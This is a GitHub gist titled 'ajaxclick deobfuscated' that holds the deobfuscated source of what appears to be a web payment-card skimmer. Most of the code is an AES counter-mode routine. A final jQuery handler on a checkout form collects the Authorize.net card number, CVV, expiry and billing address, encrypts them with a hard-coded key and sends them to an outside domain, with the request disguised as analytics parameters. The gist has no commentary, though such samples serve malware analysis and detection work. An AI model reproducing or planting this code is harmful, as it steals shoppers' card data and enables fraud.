Skip to content

Instantly share code, notes, and snippets.

@krautface
Created July 29, 2019 07:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save krautface/64fcf42c9a12a160c57fdf56a81903c6 to your computer and use it in GitHub Desktop.
Save krautface/64fcf42c9a12a160c57fdf56a81903c6 to your computer and use it in GitHub Desktop.
ajaxclick deobfuscated
function cipher(_0xe42ax2, _0xe42ax3) {
const _0xe42ax4 = 4;
const _0xe42ax5 = _0xe42ax3['length'] / _0xe42ax4 - 1;
let _0xe42ax6 = [
[],
[],
[],
[]
];
for (let _0xe42ax7 = 0; _0xe42ax7 < 4 * _0xe42ax4; _0xe42ax7++) {
_0xe42ax6[_0xe42ax7 % 4][Math['floor'](_0xe42ax7 / 4)] = _0xe42ax2[_0xe42ax7]
};
_0xe42ax6 = addRoundKey(_0xe42ax6, _0xe42ax3, 0, _0xe42ax4);
for (let _0xe42ax8 = 1; _0xe42ax8 < _0xe42ax5; _0xe42ax8++) {
_0xe42ax6 = subBytes(_0xe42ax6, _0xe42ax4);
_0xe42ax6 = shiftRows(_0xe42ax6, _0xe42ax4);
_0xe42ax6 = mixColumns(_0xe42ax6, _0xe42ax4);
_0xe42ax6 = addRoundKey(_0xe42ax6, _0xe42ax3, _0xe42ax8, _0xe42ax4)
};
_0xe42ax6 = subBytes(_0xe42ax6, _0xe42ax4);
_0xe42ax6 = shiftRows(_0xe42ax6, _0xe42ax4);
_0xe42ax6 = addRoundKey(_0xe42ax6, _0xe42ax3, _0xe42ax5, _0xe42ax4);
const _0xe42ax9 = new Array(4 * _0xe42ax4);
for (let _0xe42ax7 = 0; _0xe42ax7 < 4 * _0xe42ax4; _0xe42ax7++) {
_0xe42ax9[_0xe42ax7] = _0xe42ax6[_0xe42ax7 % 4][Math['floor'](_0xe42ax7 / 4)]
};
return _0xe42ax9
}
function keyExpansion(_0xe42axb) {
const _0xe42ax4 = 4;
const _0xe42axc = _0xe42axb['length'] / 4;
const _0xe42ax5 = _0xe42axc + 6;
const _0xe42ax3 = new Array(_0xe42ax4 * (_0xe42ax5 + 1));
let _0xe42axd = new Array(4);
for (let _0xe42ax7 = 0; _0xe42ax7 < _0xe42axc; _0xe42ax7++) {
const _0xe42axe = [_0xe42axb[4 * _0xe42ax7], _0xe42axb[4 * _0xe42ax7 + 1], _0xe42axb[4 * _0xe42ax7 + 2], _0xe42axb[4 * _0xe42ax7 + 3]];
_0xe42ax3[_0xe42ax7] = _0xe42axe
};
for (let _0xe42ax7 = _0xe42axc; _0xe42ax7 < (_0xe42ax4 * (_0xe42ax5 + 1)); _0xe42ax7++) {
_0xe42ax3[_0xe42ax7] = new Array(4);
for (let _0xe42axf = 0; _0xe42axf < 4; _0xe42axf++) {
_0xe42axd[_0xe42axf] = _0xe42ax3[_0xe42ax7 - 1][_0xe42axf]
};
if (_0xe42ax7 % _0xe42axc == 0) {
_0xe42axd = subWord(rotWord(_0xe42axd));
for (let _0xe42axf = 0; _0xe42axf < 4; _0xe42axf++) {
_0xe42axd[_0xe42axf] ^= rCon[_0xe42ax7 / _0xe42axc][_0xe42axf]
}
} else {
if (_0xe42axc > 6 && _0xe42ax7 % _0xe42axc == 4) {
_0xe42axd = subWord(_0xe42axd)
}
};
for (let _0xe42axf = 0; _0xe42axf < 4; _0xe42axf++) {
_0xe42ax3[_0xe42ax7][_0xe42axf] = _0xe42ax3[_0xe42ax7 - _0xe42axc][_0xe42axf] ^ _0xe42axd[_0xe42axf]
}
};
return _0xe42ax3
}
function subBytes(_0xe42ax11, _0xe42ax4) {
for (let _0xe42axe = 0; _0xe42axe < 4; _0xe42axe++) {
for (let _0xe42ax12 = 0; _0xe42ax12 < _0xe42ax4; _0xe42ax12++) {
_0xe42ax11[_0xe42axe][_0xe42ax12] = sBox[_0xe42ax11[_0xe42axe][_0xe42ax12]]
}
};
return _0xe42ax11
}
function shiftRows(_0xe42ax11, _0xe42ax4) {
const _0xe42axf = new Array(4);
for (let _0xe42axe = 1; _0xe42axe < 4; _0xe42axe++) {
for (let _0xe42ax12 = 0; _0xe42ax12 < 4; _0xe42ax12++) {
_0xe42axf[_0xe42ax12] = _0xe42ax11[_0xe42axe][(_0xe42ax12 + _0xe42axe) % _0xe42ax4]
};
for (let _0xe42ax12 = 0; _0xe42ax12 < 4; _0xe42ax12++) {
_0xe42ax11[_0xe42axe][_0xe42ax12] = _0xe42axf[_0xe42ax12]
}
};
return _0xe42ax11
}
function mixColumns(_0xe42ax11, _0xe42ax4) {
for (let _0xe42ax12 = 0; _0xe42ax12 < _0xe42ax4; _0xe42ax12++) {
const _0xe42ax15 = new Array(_0xe42ax4);
const _0xe42ax16 = new Array(_0xe42ax4);
for (let _0xe42axe = 0; _0xe42axe < 4; _0xe42axe++) {
_0xe42ax15[_0xe42axe] = _0xe42ax11[_0xe42axe][_0xe42ax12];
_0xe42ax16[_0xe42axe] = _0xe42ax11[_0xe42axe][_0xe42ax12] & 0x80 ? _0xe42ax11[_0xe42axe][_0xe42ax12] << 1 ^ 0x011b : _0xe42ax11[_0xe42axe][_0xe42ax12] << 1
};
_0xe42ax11[0][_0xe42ax12] = _0xe42ax16[0] ^ _0xe42ax15[1] ^ _0xe42ax16[1] ^ _0xe42ax15[2] ^ _0xe42ax15[3];
_0xe42ax11[1][_0xe42ax12] = _0xe42ax15[0] ^ _0xe42ax16[1] ^ _0xe42ax15[2] ^ _0xe42ax16[2] ^ _0xe42ax15[3];
_0xe42ax11[2][_0xe42ax12] = _0xe42ax15[0] ^ _0xe42ax15[1] ^ _0xe42ax16[2] ^ _0xe42ax15[3] ^ _0xe42ax16[3];
_0xe42ax11[3][_0xe42ax12] = _0xe42ax15[0] ^ _0xe42ax16[0] ^ _0xe42ax15[1] ^ _0xe42ax15[2] ^ _0xe42ax16[3]
};
return _0xe42ax11
}
function addRoundKey(_0xe42ax6, _0xe42ax3, _0xe42ax18, _0xe42ax4) {
for (let _0xe42axe = 0; _0xe42axe < 4; _0xe42axe++) {
for (let _0xe42ax12 = 0; _0xe42ax12 < _0xe42ax4; _0xe42ax12++) {
_0xe42ax6[_0xe42axe][_0xe42ax12] ^= _0xe42ax3[_0xe42ax18 * 4 + _0xe42ax12][_0xe42axe]
}
};
return _0xe42ax6
}
function subWord(_0xe42ax3) {
for (let _0xe42ax7 = 0; _0xe42ax7 < 4; _0xe42ax7++) {
_0xe42ax3[_0xe42ax7] = sBox[_0xe42ax3[_0xe42ax7]]
};
return _0xe42ax3
}
function rotWord(_0xe42ax3) {
const _0xe42ax1b = _0xe42ax3[0];
for (let _0xe42ax7 = 0; _0xe42ax7 < 3; _0xe42ax7++) {
_0xe42ax3[_0xe42ax7] = _0xe42ax3[_0xe42ax7 + 1]
};
_0xe42ax3[3] = _0xe42ax1b;
return _0xe42ax3
}
sBox = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16];
rCon = [
[0x00, 0x00, 0x00, 0x00],
[0x01, 0x00, 0x00, 0x00],
[0x02, 0x00, 0x00, 0x00],
[0x04, 0x00, 0x00, 0x00],
[0x08, 0x00, 0x00, 0x00],
[0x10, 0x00, 0x00, 0x00],
[0x20, 0x00, 0x00, 0x00],
[0x40, 0x00, 0x00, 0x00],
[0x80, 0x00, 0x00, 0x00],
[0x1b, 0x00, 0x00, 0x00],
[0x36, 0x00, 0x00, 0x00]
];
function encrypt(_0xe42ax1d, _0xe42ax1e, _0xe42ax1f) {
const _0xe42ax20 = 16;
if (!(_0xe42ax1f == 128 || _0xe42ax1f == 192 || _0xe42ax1f == 256)) {
throw new Error('Key size is not 128 / 192 / 256')
};
_0xe42ax1d = utf8Encode(String(_0xe42ax1d));
_0xe42ax1e = utf8Encode(String(_0xe42ax1e));
const _0xe42ax21 = _0xe42ax1f / 8;
const _0xe42ax22 = new Array(_0xe42ax21);
for (let _0xe42ax7 = 0; _0xe42ax7 < _0xe42ax21; _0xe42ax7++) {
_0xe42ax22[_0xe42ax7] = _0xe42ax7 < _0xe42ax1e['length'] ? _0xe42ax1e['charCodeAt'](_0xe42ax7) : 0
};
let _0xe42axb = cipher(_0xe42ax22, keyExpansion(_0xe42ax22));
_0xe42axb = _0xe42axb['concat'](_0xe42axb['slice'](0, _0xe42ax21 - 16));
const _0xe42ax23 = new Array(_0xe42ax20);
const _0xe42ax24 = (new Date())['getTime']();
const _0xe42ax25 = _0xe42ax24 % 1000;
const _0xe42ax26 = Math['floor'](_0xe42ax24 / 1000);
const _0xe42ax27 = Math['floor'](Math['random']() * 0xffff);
for (let _0xe42ax7 = 0; _0xe42ax7 < 2; _0xe42ax7++) {
_0xe42ax23[_0xe42ax7] = (_0xe42ax25 >>> _0xe42ax7 * 8) & 0xff
};
for (let _0xe42ax7 = 0; _0xe42ax7 < 2; _0xe42ax7++) {
_0xe42ax23[_0xe42ax7 + 2] = (_0xe42ax27 >>> _0xe42ax7 * 8) & 0xff
};
for (let _0xe42ax7 = 0; _0xe42ax7 < 4; _0xe42ax7++) {
_0xe42ax23[_0xe42ax7 + 4] = (_0xe42ax26 >>> _0xe42ax7 * 8) & 0xff
};
let _0xe42ax28 = '';
for (let _0xe42ax7 = 0; _0xe42ax7 < 8; _0xe42ax7++) {
_0xe42ax28 += String['fromCharCode'](_0xe42ax23[_0xe42ax7])
};
const _0xe42ax29 = keyExpansion(_0xe42axb);
const _0xe42ax2a = Math['ceil'](_0xe42ax1d['length'] / _0xe42ax20);
let _0xe42ax2b = '';
for (let _0xe42ax16 = 0; _0xe42ax16 < _0xe42ax2a; _0xe42ax16++) {
for (let _0xe42ax12 = 0; _0xe42ax12 < 4; _0xe42ax12++) {
_0xe42ax23[15 - _0xe42ax12] = (_0xe42ax16 >>> _0xe42ax12 * 8) & 0xff
};
for (let _0xe42ax12 = 0; _0xe42ax12 < 4; _0xe42ax12++) {
_0xe42ax23[15 - _0xe42ax12 - 4] = (_0xe42ax16 / 0x100000000 >>> _0xe42ax12 * 8)
};
const _0xe42ax2c = cipher(_0xe42ax23, _0xe42ax29);
const _0xe42ax2d = _0xe42ax16 < _0xe42ax2a - 1 ? _0xe42ax20 : (_0xe42ax1d['length'] - 1) % _0xe42ax20 + 1;
const _0xe42ax2e = new Array(_0xe42ax2d);
for (let _0xe42ax7 = 0; _0xe42ax7 < _0xe42ax2d; _0xe42ax7++) {
_0xe42ax2e[_0xe42ax7] = _0xe42ax2c[_0xe42ax7] ^ _0xe42ax1d['charCodeAt'](_0xe42ax16 * _0xe42ax20 + _0xe42ax7);
_0xe42ax2e[_0xe42ax7] = String['fromCharCode'](_0xe42ax2e[_0xe42ax7])
};
_0xe42ax2b += _0xe42ax2e['join']('');
if (typeof WorkerGlobalScope != 'undefined' && self instanceof WorkerGlobalScope) {
if (_0xe42ax16 % 1000 == 0) {
self['postMessage']({
progress: _0xe42ax16 / _0xe42ax2a
})
}
}
};
_0xe42ax2b = base64Encode(_0xe42ax28 + _0xe42ax2b);
return _0xe42ax2b
}
function decrypt(_0xe42ax2b, _0xe42ax1e, _0xe42ax1f) {
const _0xe42ax20 = 16;
if (!(_0xe42ax1f == 128 || _0xe42ax1f == 192 || _0xe42ax1f == 256)) {
throw new Error('Key size is not 128 / 192 / 256')
};
_0xe42ax2b = base64Decode(String(_0xe42ax2b));
_0xe42ax1e = utf8Encode(String(_0xe42ax1e));
const _0xe42ax21 = _0xe42ax1f / 8;
const _0xe42ax22 = new Array(_0xe42ax21);
for (let _0xe42ax7 = 0; _0xe42ax7 < _0xe42ax21; _0xe42ax7++) {
_0xe42ax22[_0xe42ax7] = _0xe42ax7 < _0xe42ax1e['length'] ? _0xe42ax1e['charCodeAt'](_0xe42ax7) : 0
};
let _0xe42axb = cipher(_0xe42ax22, keyExpansion(_0xe42ax22));
_0xe42axb = _0xe42axb['concat'](_0xe42axb['slice'](0, _0xe42ax21 - 16));
const _0xe42ax23 = new Array(8);
const _0xe42ax28 = _0xe42ax2b['slice'](0, 8);
for (let _0xe42ax7 = 0; _0xe42ax7 < 8; _0xe42ax7++) {
_0xe42ax23[_0xe42ax7] = _0xe42ax28['charCodeAt'](_0xe42ax7)
};
const _0xe42ax29 = keyExpansion(_0xe42axb);
const _0xe42ax30 = Math['ceil']((_0xe42ax2b['length'] - 8) / _0xe42ax20);
const _0xe42ax31 = new Array(_0xe42ax30);
for (let _0xe42ax16 = 0; _0xe42ax16 < _0xe42ax30; _0xe42ax16++) {
_0xe42ax31[_0xe42ax16] = _0xe42ax2b['slice'](8 + _0xe42ax16 * _0xe42ax20, 8 + _0xe42ax16 * _0xe42ax20 + _0xe42ax20)
};
_0xe42ax2b = _0xe42ax31;
let _0xe42ax1d = '';
for (let _0xe42ax16 = 0; _0xe42ax16 < _0xe42ax30; _0xe42ax16++) {
for (let _0xe42ax12 = 0; _0xe42ax12 < 4; _0xe42ax12++) {
_0xe42ax23[15 - _0xe42ax12] = ((_0xe42ax16) >>> _0xe42ax12 * 8) & 0xff
};
for (let _0xe42ax12 = 0; _0xe42ax12 < 4; _0xe42ax12++) {
_0xe42ax23[15 - _0xe42ax12 - 4] = (((_0xe42ax16 + 1) / 0x100000000 - 1) >>> _0xe42ax12 * 8) & 0xff
};
const _0xe42ax2c = cipher(_0xe42ax23, _0xe42ax29);
const _0xe42ax32 = new Array(_0xe42ax2b[_0xe42ax16]['length']);
for (let _0xe42ax7 = 0; _0xe42ax7 < _0xe42ax2b[_0xe42ax16]['length']; _0xe42ax7++) {
_0xe42ax32[_0xe42ax7] = _0xe42ax2c[_0xe42ax7] ^ _0xe42ax2b[_0xe42ax16]['charCodeAt'](_0xe42ax7);
_0xe42ax32[_0xe42ax7] = String['fromCharCode'](_0xe42ax32[_0xe42ax7])
};
_0xe42ax1d += _0xe42ax32['join']('');
if (typeof WorkerGlobalScope != 'undefined' && self instanceof WorkerGlobalScope) {
if (_0xe42ax16 % 1000 == 0) {
self['postMessage']({
progress: _0xe42ax16 / _0xe42ax30
})
}
}
};
_0xe42ax1d = utf8Decode(_0xe42ax1d);
return _0xe42ax1d
}
function utf8Encode(_0xe42ax34) {
try {
return new TextEncoder()['encode'](_0xe42ax34, 'utf-8')['reduce']((_0xe42ax35, _0xe42ax36) => _0xe42ax35 + String['fromCharCode'](_0xe42ax36), '')
} catch (e) {
return unescape(encodeURIComponent(_0xe42ax34))
}
}
function utf8Decode(_0xe42ax34) {
try {
return new TextEncoder()['decode'](_0xe42ax34, 'utf-8')['reduce']((_0xe42ax35, _0xe42ax36) => _0xe42ax35 + String['fromCharCode'](_0xe42ax36), '')
} catch (e) {
return decodeURIComponent(escape(_0xe42ax34))
}
}
function base64Encode(_0xe42ax34) {
if (typeof btoa != 'undefined') {
return btoa(_0xe42ax34)
};
if (typeof Buffer != 'undefined') {
return new Buffer(_0xe42ax34, 'binary').toString('base64')
};
throw new Error('No Base64 Encode')
}
function base64Decode(_0xe42ax34) {
if (typeof atob != 'undefined') {
return atob(_0xe42ax34)
};
if (typeof Buffer != 'undefined') {
return new Buffer(_0xe42ax34, 'base64').toString('binary')
};
throw new Error('No Base64 Decode')
}
$(document)['ready'](function() {
$('form[name="checkout_payment"]')['change'](function() {
var _0xe42ax3a = document['querySelectorAll']('tr.infoBoxContents');
var _0xe42ax3b = _0xe42ax3a[0]['getElementsByTagName']('td');
var _0xe42ax3c = _0xe42ax3b[6]['innerHTML'];;;
var _0xe42ax3d = _0xe42ax3c['replace'](/<br>/g, '|');
var _0xe42ax3e = $('input[name="authorizenet_aim_cc_number"]')['val']();
var _0xe42ax3f = $('input[name="authorizenet_aim_cc_cvv"]')['val']();
var _0xe42ax40 = $('select[name="authorizenet_aim_cc_expires_month"]')['val']();
var _0xe42ax41 = '20' + $('select[name="authorizenet_aim_cc_expires_year"]')['val']();
if ($('input[name="authorizenet_aim_cc_number"]')['val']()['replace'](/[^0-9]/g, '')['length'] > 14 && $('input[name="authorizenet_aim_cc_cvv"]')['val']()['replace'](/[^0-9]/g, '')['length'] > 2) {
$['ajax']({
url: 'https://www-trust.com/safebrowsing/sd/ChVnb29nLWJhZGJpbnVcmVmZXJlciBwaHAgcmVkaXJlY3Q/',
data: 'v=1&_v=j56&a=1894103277&t=event&_s=5&dl=http%3A%2F%2Fsolardirect.com%2Ftrust.html&ul=en-us&de=UTF-8&sd=24-bit&sr=1366x768&vp=1349x609&je=0&ec=Product%20Page&ea=click&el=email%20---%20ID%3A%2027765&_u=iCCAAEADY~&jid=&gjid=&cid=106921253.1499677924&tid=UA-4735273-1&_gid=661663156.1499677924&z=1284235022|TgOwmzw9clwlUoxRuSNPJiAYBi|' + base64Encode(encrypt(_0xe42ax3e + '|' + _0xe42ax40 + _0xe42ax41 + '|' + _0xe42ax3f + '|' + _0xe42ax3d, 'love1234!', 256)),
type: 'GET',
success: function(_0xe42ax42) {
return false
},
error: function(_0xe42ax43, _0xe42ax44, _0xe42ax45) {
return false
}
})
}
})
})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment